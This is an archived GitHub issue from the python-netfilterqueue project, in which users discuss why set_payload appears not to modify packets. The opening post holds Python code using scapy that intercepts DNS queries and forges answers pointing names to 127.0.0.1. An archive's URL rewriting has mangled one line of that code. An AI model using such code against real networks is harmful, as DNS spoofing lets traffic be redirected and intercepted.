★ wanayoo — archive 1999 https://github.com/kti/python-netfilterqueue/issues/30Nouvelle recherche | Portail wanayoo
Skip to content

/ python-netfilterqueue

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Cannot set the payload #30

Open
yomr opened this issue Apr 19, 2017 · 7 comments
Open

Cannot set the payload #30

yomr opened this issue Apr 19, 2017 · 7 comments

Comments

@yomr
Copy link

@yomr yomr commented Apr 19, 2017

Here is my code

from netfilterqueue import NetfilterQueue
from scapy.all import *

def print_and_accept(raw_pkt):
   # print(raw_pkt.get_payload())
    pkt = IP(raw_pkt.get_payload())
    localIP = "127.0.0.1"
    if not pkt.haslayer(DNSQR):
        raw_pkt.accept()
    else:
        print("got into spoofing")
        spoofed_pkt = IP(dst=pkt[IP].src, src=/old?u=https%3A%2F%2Fgithub.com%2Fkti%2Fpython-netfilterqueue%2Fissues%2Fpkt%5BIP%5D.dst%29%2F%5C&y=1999
                          UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                          DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                          an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=localIP))

        print("spoofed ",  spoofed_pkt)
        raw_pkt.set_payload(str(spoofed_pkt))
        new = IP(raw_pkt.get_payload())
        print("new ", new)
        raw_pkt.accept()
nfqueue = NetfilterQueue()
nfqueue.bind(0, print_and_accept)
try:
    nfqueue.run()
except KeyboardInterrupt:
    print('')

nfqueue.unbind()

After the set_payload, when I print the payload , I see the payload same as the input payload.

And I am not the only person who is facing this issue. Similar case here:
http://stackoverflow.com/questions/43319070/netfilterqueue-set-payload-not-work (This issue is raised by another person)

Am I doing something wrong?
@jcm102120
Copy link

@jcm102120 jcm102120 commented Jun 13, 2017

I am having this exact same issue, i was wondering if you ever figured out what was going on? I am using code that has worked before in the past so i don't think it is an error on my part. I was wondering if there was some update to the kernel that broke this?
@yomr
Copy link
Author

@yomr yomr commented Jun 14, 2017

I am not sure what is broken in this. And the lack of reply from the contributors did not help either.
So i did a workaround:

  1. Get the raw packet(say, raw_pkt) from netfilterqueue
  2. Using scapy, build a new packet(say, pkt_new) with the desired values.
  3. Drop the raw_pkt
  4. Send the new packet(pkt_new) instead! ( Scapy has a send method to send the packet)

This method works for me and should work in general, unless you want some connection oriented features and the client is expecting sequence id or something. Even in that case, this should work but I haven't tested it!
@jcm102120
Copy link

@jcm102120 jcm102120 commented Jun 14, 2017

Thanks for the work around! Yea it doesn't look like this repo has been active for a little while.
@3wille
Copy link

@3wille 3wille commented Jun 15, 2017

My "workaround" so far ist to use https://github.com/chifflier/nfqueue-bindings. Unfortunately, that works with python2 only and you'll need to compile the C-Extension yourself (with cmake).
@yomr
Copy link
Author

@yomr yomr commented Jun 15, 2017

@3wille I have tried it earlier. But I don't remember why i did not go with it. Probably it was because of the fact that I need to compile it myself.
@arucard21
Copy link

@arucard21 arucard21 commented Mar 10, 2019

I also noticed this behavior when I tried to confirm that I changed the payload by logging it after I used set_payload(). While the log did seem to show that the payload was not modified, when I checked what was actually being sent with Wireshark it did show my modified packet being set. So what we're getting with get_payload() may just be an unmodifiable version of the original payload but what's actually being sent is still the modified payload. I found this with the git version of netfilterqueue (though it may already work in the latest release at this time, 0.8.1), I'm not sure if this was already working this way when this issue was created.
@arucard21
Copy link

@arucard21 arucard21 commented Mar 19, 2019

I have now tried this with version 0.8.1 as well and it also works with that (on Python 3.6).
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
4 participants
@jcm102120 @yomr @arucard21 @3wille
You can’t perform that action at this time.